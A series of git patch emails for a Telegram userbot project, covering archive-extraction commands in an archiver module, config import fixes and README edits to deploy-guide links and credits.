metadata.get("width") + if metadata.has("height"): + height = metadata.get("height") + document_attributes = [ + DocumentAttributeVideo( + duration=duration, + w=width, + h=height, + round_message=False, + supports_streaming=True, + ) + ] + try: + await borg.send_file( + event.chat_id, + single_file, + caption=f"UnRarred `{caption_rts}`", + force_document=force_document, + supports_streaming=supports_streaming, + allow_cache=False, + reply_to=event.message.id, + attributes=document_attributes, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "trying to upload") + ), + ) + await event.edit("DONE!!!") + await asyncio.sleep(5) + await event.delete() + except Exception as e: + await borg.send_message( + event.chat_id, + "{} caused `{}`".format(caption_rts, str(e)), + reply_to=event.message.id, + ) + # some media were having some issues + continue + os.remove(single_file) + os.remove(downloaded_file_name) + + +@borg.on(admin_cmd(pattern="untar")) +async def _(event): + if event.fwd_from: + return + mone = await event.edit("Processing ...") + if not os.path.isdir(Var.dTEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.dTEMP_DOWNLOAD_DIRECTORY) + extracted = Var.dTEMP_DOWNLOAD_DIRECTORY + "extracted/" + thumb_image_path = Var.dTEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" + if not os.path.isdir(extracted): + os.makedirs(extracted) + if event.reply_to_msg_id: + start = datetime.now() + reply_message = await event.get_reply_message() + try: + c_time = time.time() + downloaded_file_name = await borg.download_media( + reply_message, + Var.dTEMP_DOWNLOAD_DIRECTORY, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, mone, c_time, "trying to download") + ), + ) + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + else: + end = datetime.now() + ms = (end - start).seconds + await mone.edit( + "Stored the tar to `{}` in {} seconds.".format(downloaded_file_name, ms) + ) + with tarfile.TarFile.open(downloaded_file_name, "r") as tar_file: + tar_file.extractall(path=extracted) + # tf = tarfile.open(downloaded_file_name) + # tf.extractall(path=extracted) + # tf.close() + + # with zipfile.ZipFile(downloaded_file_name, 'r') as zip_ref: + # zip_ref.extractall(extracted) + filename = sorted(get_lst_of_files(extracted, [])) + # filename = filename + "/" + await event.edit("Untarring now") + # r=root, d=directories, f = files + for single_file in filename: + if os.path.exists(single_file): + # https://stackoverflow.com/a/678242/4723940 + caption_rts = os.path.basename(single_file) + force_document = False + supports_streaming = True + document_attributes = [] + if single_file.endswith((".mp4", ".mp3", ".flac", ".webm")): + metadata = extractMetadata(createParser(single_file)) + duration = 0 + width = 0 + height = 0 + if metadata.has("duration"): + duration = metadata.get("duration").seconds + if os.path.exists(thumb_image_path): + metadata = extractMetadata(createParser(thumb_image_path)) + if metadata.has("width"): + width = metadata.get("width") + if metadata.has("height"): + height = metadata.get("height") + document_attributes = [ + DocumentAttributeVideo( + duration=duration, + w=width, + h=height, + round_message=False, + supports_streaming=True, + ) + ] + try: + await borg.send_file( + event.chat_id, + single_file, + caption=f"Untared `{caption_rts}`", + force_document=force_document, + supports_streaming=supports_streaming, + allow_cache=False, + reply_to=event.message.id, + attributes=document_attributes, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "trying to upload") + ), + ) + await event.edit("DONE!!!") + await asyncio.sleep(5) + await event.delete() + except Exception as e: + await borg.send_message( + event.chat_id, + "{} caused `{}`".format(caption_rts, str(e)), + reply_to=event.message.id, + ) + # some media were having some issues + continue + os.remove(single_file) + os.remove(downloaded_file_name) + + +def get_lst_of_files(input_directory, output_lst): + filesinfolder = os.listdir(input_directory) + for file_name in filesinfolder: + current_file_name = os.path.join(input_directory, file_name) + if os.path.isdir(current_file_name): + return get_lst_of_files(current_file_name, output_lst) + output_lst.append(current_file_name) + return output_lst + + +CMD_HELP.update( + { + "archive": ".zip reply to a file/media\ + \nUSEAGE: it will zip that file/media\ + \n\n.rar reply to a file/media\ + \nUSEAGE: it will rar that file/media\ + z\n\n. reply to a file/media\ + \nUSEAGE: it will make into .7z that hat file/media\ + \n\n.tar reply to a file/media\ + \nUSEAGE: it will tar that file/media\ + \n\n.unzip reply to a .zip file\ + \nUSEAGE: it will unzip that .zip file\ + \n\n.unrar reply to a .rar file\ + \nUSEAGE: it will unrar that .rar file\ + \n\n.untar reply to a .tar\ + \nUSEAGE: it will untar that .tar file\ +" + } +) From f32c8901e5b6e083a00ff7c80e52cf3457b56d91 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 13:40:32 +0530 Subject: [PATCH 502/838] Update archiver.py --- fridaybot/modules/archiver.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index 0c9a71d2..10b978d9 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -17,7 +17,7 @@ from telethon.tl.types import DocumentAttributeVideo from fridaybot import CMD_HELP -from fridaybot.Config import Var +from fridaybot.Configs import Var from ..utils import admin_cmd, progress thumb_image_path = Var.TEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" From 8970147df82f97d23afb92027fba991ed8afe201 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 13:51:49 +0530 Subject: [PATCH 503/838] Update archiver.py --- fridaybot/modules/archiver.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index 10b978d9..7794d7a9 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -17,7 +17,7 @@ from telethon.tl.types import DocumentAttributeVideo from fridaybot import CMD_HELP -from fridaybot.Configs import Var +from fridaybot import Var from ..utils import admin_cmd, progress thumb_image_path = Var.TEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" From 0688f4aace95e9666b9c17f0d012bf606c43bbfe Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 13:52:38 +0530 Subject: [PATCH 504/838] Update archiver.py --- fridaybot/modules/archiver.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index 7794d7a9..b33b782a 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -17,7 +17,7 @@ from telethon.tl.types import DocumentAttributeVideo from fridaybot import CMD_HELP -from fridaybot import Var +from var import Var from ..utils import admin_cmd, progress thumb_image_path = Var.TEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" From af77918db771d972c3ab1a196c47a5c1aa6d0a99 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 14:09:59 +0530 Subject: [PATCH 505/838] Update archiver.py --- fridaybot/modules/archiver.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index b33b782a..affecac8 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -17,7 +17,7 @@ from telethon.tl.types import DocumentAttributeVideo from fridaybot import CMD_HELP -from var import Var +from fridaybot.Configs import Config as Var from ..utils import admin_cmd, progress thumb_image_path = Var.TEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" From f44639bda2acc7c469d903e65114cf87086208a7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 14:17:41 +0530 Subject: [PATCH 506/838] Update Configs.py --- fridaybot/Configs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index d9a8a1df..9d81e3a3 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -22,6 +22,7 @@ class Config(object): TMP_DOWNLOAD_DIRECTORY = os.environ.get( "TMP_DOWNLOAD_DIRECTORY", "./DOWNLOADS/" ) + TEMP_DOWNLOAD_DIRECTORY = os.environ.get("TEMP_DOWNLOAD_DIRECTORY", None) # This is required for the speech to text module. Get your USERNAME from https://console.bluemix.net/docs/services/speech-to-text/getting-started.html IBM_WATSON_CRED_URL = os.environ.get("IBM_WATSON_CRED_URL", None) IBM_WATSON_CRED_PASSWORD = os.environ.get("IBM_WATSON_CRED_PASSWORD", None) From 9888c3ae8f795e387ff6045acaefeb75e2736fb1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 14:23:19 +0530 Subject: [PATCH 507/838] Update archiver.py --- fridaybot/modules/archiver.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index affecac8..3d067081 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -34,15 +34,15 @@ async def _(event): return input_str = event.pattern_match.group(1) mone = await event.edit("Processing ...") - if not os.path.isdir(Var.dTEMP_DOWNLOAD_DIRECTORY): - os.makedirs(Var.dTEMP_DOWNLOAD_DIRECTORY) + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) if event.reply_to_msg_id: reply_message = await event.get_reply_message() try: c_time = time.time() downloaded_file_name = await borg.download_media( reply_message, - Var.dTEMP_DOWNLOAD_DIRECTORY, + Var.TEMP_DOWNLOAD_DIRECTORY, progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, mone, c_time, "trying to download") ), @@ -51,7 +51,7 @@ async def _(event): await event.edit("creating rar archive, please wait..") # patoolib.create_archive(directory_name + '.7z',directory_name) patoolib.create_archive( - directory_name + ".rar", (directory_name, Var.dTEMP_DOWNLOAD_DIRECTORY) + directory_name + ".rar", (directory_name, Var.TEMP_DOWNLOAD_DIRECTORY) ) # patoolib.create_archive("/content/21.yy Avrupa (1).pdf.zip",("/content/21.yy Avrupa (1).pdf","/content/")) await borg.send_file( From 693c592b7d6250c6b7d887723a37946c0c68c38b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 14:39:34 +0530 Subject: [PATCH 508/838] Update archiver.py --- fridaybot/modules/archiver.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index 3d067081..c5612c50 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -9,6 +9,7 @@ import shutil import tarfile import time +import time as ti import zipfile from datetime import datetime @@ -39,7 +40,7 @@ async def _(event): if event.reply_to_msg_id: reply_message = await event.get_reply_message() try: - c_time = time.time() + c_time = ti.time() downloaded_file_name = await borg.download_media( reply_message, Var.TEMP_DOWNLOAD_DIRECTORY, From cb76736f8062d5be6be0c852fdf72db891490ec6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 14:44:26 +0530 Subject: [PATCH 509/838] Update archiver.py --- fridaybot/modules/archiver.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index c5612c50..cbac6058 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -40,12 +40,12 @@ async def _(event): if event.reply_to_msg_id: reply_message = await event.get_reply_message() try: - c_time = ti.time() + downloaded_file_name = await borg.download_media( reply_message, Var.TEMP_DOWNLOAD_DIRECTORY, progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress(d, t, mone, c_time, "trying to download") + progress(d, t, mone, "trying to download") ), ) directory_name = downloaded_file_name From cf29ae759f789afaeeb5c5793bce8572ccbd5414 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 14:48:22 +0530 Subject: [PATCH 510/838] Update archiver.py --- fridaybot/modules/archiver.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index cbac6058..d1c25a12 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -43,10 +43,7 @@ async def _(event): downloaded_file_name = await borg.download_media( reply_message, - Var.TEMP_DOWNLOAD_DIRECTORY, - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress(d, t, mone, "trying to download") - ), + Var.TEMP_DOWNLOAD_DIRECTORY ) directory_name = downloaded_file_name await event.edit("creating rar archive, please wait..") From e0b874fcc0e5b82dd20416bf6ad524cb261b69e3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 14:55:59 +0530 Subject: [PATCH 511/838] Update archiver.py --- fridaybot/modules/archiver.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index d1c25a12..8356aca1 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -11,6 +11,7 @@ import time import time as ti import zipfile +import patoolib from datetime import datetime from hachoir.metadata import extractMetadata From a3bc584729c73dfc868377f13be4ebc8c81a5c2d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 14:59:15 +0530 Subject: [PATCH 512/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index c6ae512d..fc7703bb 100644 --- a/requirements.txt +++ b/requirements.txt @@ -35,6 +35,7 @@ heroku3 httplib2 humanize lxml +patool lyricsgenius oauth2client psycopg2-binary From cbd67b4f2e4d76868942bc7cf114a2d4b1265ce8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 15:16:15 +0530 Subject: [PATCH 513/838] Update archiver.py --- fridaybot/modules/archiver.py | 44 +++++++++++++---------------------- 1 file changed, 16 insertions(+), 28 deletions(-) diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index 8356aca1..089da7ba 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -85,18 +85,15 @@ async def _(event): return input_str = event.pattern_match.group(1) mone = await event.edit("Processing ...") - if not os.path.isdir(Var.dTEMP_DOWNLOAD_DIRECTORY): - os.makedirs(Var.dTEMP_DOWNLOAD_DIRECTORY) + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) if event.reply_to_msg_id: reply_message = await event.get_reply_message() try: - c_time = time.time() + downloaded_file_name = await borg.download_media( reply_message, - Var.dTEMP_DOWNLOAD_DIRECTORY, - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress(d, t, mone, c_time, "trying to download") - ), + Var.TEMP_DOWNLOAD_DIRECTORY ) directory_name = downloaded_file_name await event.edit("creating 7z archive, please wait..") @@ -135,18 +132,15 @@ async def _(event): return input_str = event.pattern_match.group(1) mone = await event.edit("Processing ...") - if not os.path.isdir(Var.dTEMP_DOWNLOAD_DIRECTORY): - os.makedirs(Var.dTEMP_DOWNLOAD_DIRECTORY) + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) if event.reply_to_msg_id: reply_message = await event.get_reply_message() try: - c_time = time.time() + downloaded_file_name = await borg.download_media( reply_message, - Var.dTEMP_DOWNLOAD_DIRECTORY, - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress(d, t, mone, c_time, "trying to download") - ), + Var.TEMP_DOWNLOAD_DIRECTORY ) directory_name = downloaded_file_name await event.edit("Finish downloading to my local") @@ -222,19 +216,16 @@ async def _(event): if event.fwd_from: return mone = await event.edit("Processing ...") - if not os.path.isdir(Var.dTEMP_DOWNLOAD_DIRECTORY): - os.makedirs(Var.dTEMP_DOWNLOAD_DIRECTORY) + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) if event.reply_to_msg_id: start = datetime.now() reply_message = await event.get_reply_message() try: - c_time = time.time() + downloaded_file_name = await borg.download_media( reply_message, - Var.dTEMP_DOWNLOAD_DIRECTORY, - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress(d, t, mone, c_time, "trying to download") - ), + Var.TEMP_DOWNLOAD_DIRECTORY ) except Exception as e: # pylint:disable=C0103,W0703 await mone.edit(str(e)) @@ -314,9 +305,9 @@ async def _(event): return mone = await event.edit("Processing ...") if not os.path.isdir(Var.dTEMP_DOWNLOAD_DIRECTORY): - os.makedirs(Var.dTEMP_DOWNLOAD_DIRECTORY) - extracted = Var.dTEMP_DOWNLOAD_DIRECTORY + "extracted/" - thumb_image_path = Var.dTEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + extracted = Var.TEMP_DOWNLOAD_DIRECTORY + "extracted/" + thumb_image_path = Var.TEMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" if not os.path.isdir(extracted): os.makedirs(extracted) if event.reply_to_msg_id: @@ -326,10 +317,7 @@ async def _(event): c_time = time.time() downloaded_file_name = await borg.download_media( reply_message, - Var.dTEMP_DOWNLOAD_DIRECTORY, - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress(d, t, mone, c_time, "trying to download") - ), + Var.TEMP_DOWNLOAD_DIRECTORY ) except Exception as e: # pylint:disable=C0103,W0703 await mone.edit(str(e)) From 85b644e377a03d04b0c080fb012ed1a1dd411a82 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 15:22:52 +0530 Subject: [PATCH 514/838] Update archiver.py --- fridaybot/modules/archiver.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/archiver.py b/fridaybot/modules/archiver.py index 089da7ba..63dae41d 100644 --- a/fridaybot/modules/archiver.py +++ b/fridaybot/modules/archiver.py @@ -99,7 +99,7 @@ async def _(event): await event.edit("creating 7z archive, please wait..") # patoolib.create_archive(directory_name + '.7z',directory_name) patoolib.create_archive( - directory_name + ".7z", (directory_name, Var.dTEMP_DOWNLOAD_DIRECTORY) + directory_name + ".7z", (directory_name, Var.TEMP_DOWNLOAD_DIRECTORY) ) # patoolib.create_archive("/content/21.yy Avrupa (1).pdf.zip",("/content/21.yy Avrupa (1).pdf","/content/")) await borg.send_file( From b68e57ae01949ef1d061f2519f820d9c3a9a8d93 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 15:35:51 +0530 Subject: [PATCH 515/838] Update README.md --- README.md | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 069872b1..9378635e 100644 --- a/README.md +++ b/README.md @@ -10,11 +10,13 @@ Fork

    -

    +

    ### Here is the Telegram VirtualUserbot. A Remix Of Userbots on github.. Credits To Thier Owners.. +# https://techwizardent.com/blog/twe_blog_userbot.php + # 😍 Credits ### Cloned from [Friday Userbot](github.com/starkgang/fridayuserbot).. Full credits to Friday Developers #### Special thanks To Friday And Dark Cobra Bot a lot @@ -24,16 +26,7 @@ # Deploy Guide - - - - - - - -[![Everything Is AWESOME](https://yt-embed.herokuapp.com/embed?v=h_89Iya2uj0)](https://www.youtube.com/watch?v=h_89Iya2uj0-Y "Everything Is AWESOME") +[![Deploy Your VirtualUserbot](https://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg)](https://www.youtube.com/watch?v=hMhcKxNi-vw-Y "VirtualUserbot") # ❤️ Support From 5623700ed2a21a07440136d84b2e7fca49c2a9ee Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 15:36:52 +0530 Subject: [PATCH 516/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9378635e..1bc8157c 100644 --- a/README.md +++ b/README.md @@ -26,7 +26,7 @@ # Deploy Guide -[![Deploy Your VirtualUserbot](https://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg)](https://www.youtube.com/watch?v=hMhcKxNi-vw-Y "VirtualUserbot") +[![Deploy Your VirtualUserbot](https://telegra.ph/file/4e1364fb18f899ad47dec.png)](https://www.youtube.com/watch?v=hMhcKxNi-vw-) # ❤️ Support From 9444132fa1336d3c9d3300f51f7a8acd85e4a8c9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 15:44:12 +0530 Subject: [PATCH 517/838] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 1bc8157c..e1c1e14b 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,7 @@ ### Here is the Telegram VirtualUserbot. A Remix Of Userbots on github.. Credits To Thier Owners.. -# https://techwizardent.com/blog/twe_blog_userbot.php +## [Visit Website](https://techwizardent.com/blog/twe_blog_userbot.php) # 😍 Credits ### Cloned from [Friday Userbot](github.com/starkgang/fridayuserbot).. Full credits to Friday Developers @@ -25,8 +25,8 @@ # # Deploy Guide +

    -[![Deploy Your VirtualUserbot](https://telegra.ph/file/4e1364fb18f899ad47dec.png)](https://www.youtube.com/watch?v=hMhcKxNi-vw-) # ❤️ Support From 78911419e7a62c9fe1d9225d5cf1bd5f0179db27 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 13 Jan 2021 15:45:19 +0530 Subject: [PATCH 518/838] Update README.md --- README.md | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/README.md b/README.md index e1c1e14b..86400ad3 100644 --- a/README.md +++ b/README.md @@ -26,7 +26,7 @@ # Deploy Guide

    - + # ❤️ Support @@ -100,16 +100,6 @@ To English => # - - -## How to Deploy guide by Friday - - - -``` The Methord is also same for this. Just deploy bot from this repo ``` - - -# # 🤴 After Deploying Steps From e70cb74c395c786646b78246b129f23613368417 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 14 Jan 2021 07:52:54 +0530 Subject: [PATCH 519/838] Update README.md --- README.md | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/README.md b/README.md index 86400ad3..b585e20c 100644 --- a/README.md +++ b/README.md @@ -25,7 +25,7 @@ # # Deploy Guide -

    +

    # ❤️ Support @@ -203,19 +203,15 @@ Most of the Plugins Taken from this Project.. Made possible by this. Full Credit Image Tools Plugins Copied from DC Project.. Credits to DC Team - CatUserbot - Internal Core Plugins taken.. Helped a lot to fix bugs in source.. Full respect - Uniborg - Userbots Made possible. Credits - TeleBot - Speed Boosted by the help of this source code.. Credits - Black Lightning - Got Fun tools from this.. Respect From 50302bbe83ac5b9b3c9371aab12332aa9031459e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 14 Jan 2021 07:55:22 +0530 Subject: [PATCH 520/838] Update README.md --- README.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index b585e20c..f3312907 100644 --- a/README.md +++ b/README.md @@ -194,24 +194,24 @@ published by the Free Software Foundation, either version 3 of the License, or # Full Credits -- FridayUserBot ❤️ +- FridayUserBot ❤️ - Most of the Plugins Taken from this Project.. Made possible by this. Full Credits. Full Respect -- DarkCobra 😍 +- DarkCobra 😍 - Image Tools Plugins Copied from DC Project.. Credits to DC Team -- CatUserbot +- CatUserbot - Internal Core Plugins taken.. Helped a lot to fix bugs in source.. Full respect -- Uniborg +- Uniborg - Userbots Made possible. Credits -- TeleBot +- TeleBot - Speed Boosted by the help of this source code.. Credits -- Black Lightning +- Black Lightning - Got Fun tools from this.. Respect From 404cfb97beda7e61cd366d6dec41ffa91d331876 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 14 Jan 2021 07:59:37 +0530 Subject: [PATCH 521/838] Update README.md --- README.md | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index f3312907..1abfbcea 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,7 @@ ### Here is the Telegram VirtualUserbot. A Remix Of Userbots on github.. Credits To Thier Owners.. -## [Visit Website](https://techwizardent.com/blog/twe_blog_userbot.php) +## [Visit Website ](https://techwizardent.com/blog/twe_blog_userbot.php) # 😍 Credits ### Cloned from [Friday Userbot](github.com/starkgang/fridayuserbot).. Full credits to Friday Developers @@ -24,8 +24,8 @@ ``` Full credits mentioned at the bottom``` # -# Deploy Guide -

    +# 🧙‍♀️ Deploy Guide +

    # ❤️ Support @@ -199,7 +199,6 @@ published by the Free Software Foundation, either version 3 of the License, or Most of the Plugins Taken from this Project.. Made possible by this. Full Credits. Full Respect - DarkCobra 😍 - - Image Tools Plugins Copied from DC Project.. Credits to DC Team - CatUserbot - From c1ba261e2da144618611429348a3274aa8a28c9b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 14 Jan 2021 09:55:51 +0530 Subject: [PATCH 522/838] Update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 1abfbcea..fa7e9137 100644 --- a/README.md +++ b/README.md @@ -25,9 +25,11 @@ # # 🧙‍♀️ Deploy Guide +Complete guide on deploying VirtualUserbot to Heroku. +

    - +☆ Video by [TWE](techwizardent.com) ☆ # ❤️ Support From 46e2c8bdc7f8ead01b496dd2392f741573205ba9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 14 Jan 2021 09:56:38 +0530 Subject: [PATCH 523/838] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index fa7e9137..d7f1f37d 100644 --- a/README.md +++ b/README.md @@ -29,7 +29,9 @@ Complete guide on deploying VirtualUserbot to Heroku.

    + ☆ Video by [TWE](techwizardent.com) ☆ + # ❤️ Support From 3625ed42df5fa613e756212c28ba72ea7fb5a4da Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 14 Jan 2021 14:13:48 +0530 Subject: [PATCH 524/838] Update README.md --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index d7f1f37d..fed01a66 100644 --- a/README.md +++ b/README.md @@ -199,7 +199,6 @@ published by the Free Software Foundation, either version 3 of the License, or # Full Credits - FridayUserBot ❤️ - - Most of the Plugins Taken from this Project.. Made possible by this. Full Credits. Full Respect - DarkCobra 😍 - From e93bf3720c9f0a264da566b452cacba74fd5c447 Mon Sep 17 00:00:00 2001 From: Starkgangs Date: Thu, 14 Jan 2021 08:44:55 +0000 Subject: [PATCH 525/838] pylint: auto fixes --- fridaybot/Configs.py | 4 +- fridaybot/__init__.py | 2 +- fridaybot/function/__init__.py | 151 +++-- fridaybot/modules/Spam2.py | 8 +- fridaybot/modules/_helper.py | 6 +- fridaybot/modules/_inlinebot.py | 114 ++-- fridaybot/modules/addnote.py | 4 +- fridaybot/modules/admin.py | 2 +- fridaybot/modules/adultzone.py | 21 +- fridaybot/modules/afk.py | 24 +- fridaybot/modules/alive.py | 1 + fridaybot/modules/allban.py | 25 +- fridaybot/modules/animation1.py | 3 +- fridaybot/modules/animation2.py | 3 +- fridaybot/modules/animation3.py | 5 +- fridaybot/modules/animation4.py | 3 +- fridaybot/modules/antiflood.py | 54 +- fridaybot/modules/antispam.py | 7 +- fridaybot/modules/antivirus.py | 4 +- fridaybot/modules/app.py | 3 - fridaybot/modules/archiver.py | 32 +- fridaybot/modules/art.py | 3 +- fridaybot/modules/assistant/main_assistant.py | 12 +- fridaybot/modules/autotools.py | 5 +- fridaybot/modules/bigoof.py | 31 +- fridaybot/modules/bin.py | 134 ++-- fridaybot/modules/blacklist.py | 3 +- fridaybot/modules/books.py | 48 +- fridaybot/modules/carbonRGB.py | 205 +++--- fridaybot/modules/card.py | 8 +- fridaybot/modules/classictranslate.py | 11 +- fridaybot/modules/copy.py | 3 +- fridaybot/modules/countries.py | 60 +- fridaybot/modules/covid.py | 8 +- fridaybot/modules/crack_tools.py | 334 ++++++---- fridaybot/modules/customs.py | 26 +- fridaybot/modules/dictionary.py | 10 +- fridaybot/modules/dm.py | 42 +- fridaybot/modules/download3.py | 28 +- fridaybot/modules/ekart.py | 14 +- fridaybot/modules/emojify.py | 3 +- fridaybot/modules/ensongs.py | 255 ++++--- fridaybot/modules/exclusive.py | 12 +- fridaybot/modules/execmod.py | 1 + fridaybot/modules/fakeimagegen.py | 18 +- fridaybot/modules/font3.py | 3 +- fridaybot/modules/fonts2.py | 3 +- fridaybot/modules/football.py | 103 +-- fridaybot/modules/fuck11.py | 394 ++++++----- fridaybot/modules/funarts.py | 3 +- fridaybot/modules/funnyfonts.py | 3 +- fridaybot/modules/funtxt2.py | 3 +- fridaybot/modules/games.py | 31 +- fridaybot/modules/gdbye.py | 12 +- fridaybot/modules/gettime.py | 14 +- fridaybot/modules/gps2.py | 47 +- fridaybot/modules/greetings.py | 17 +- fridaybot/modules/hack.py | 14 +- fridaybot/modules/hbd.py | 59 +- fridaybot/modules/hotstar.py | 29 +- fridaybot/modules/imageenc.py | 110 ++-- fridaybot/modules/imagefun.py | 141 ++-- fridaybot/modules/imagefun2.py | 131 ++-- fridaybot/modules/imagefun3.py | 299 +++++---- fridaybot/modules/imagefun4.py | 134 ++-- fridaybot/modules/imagetools.py | 17 +- fridaybot/modules/imposter.py | 1 + fridaybot/modules/logic.py | 622 +++++++++++------- fridaybot/modules/lovestory.py | 38 +- fridaybot/modules/lydiaai2.py | 9 +- fridaybot/modules/memevoice.py | 56 +- fridaybot/modules/mtn.py | 1 - fridaybot/modules/no_spam_plus_devs.py | 33 +- fridaybot/modules/nsfw.py | 39 +- fridaybot/modules/nsfwdetect.py | 3 +- fridaybot/modules/oldgdrive.py | 2 +- 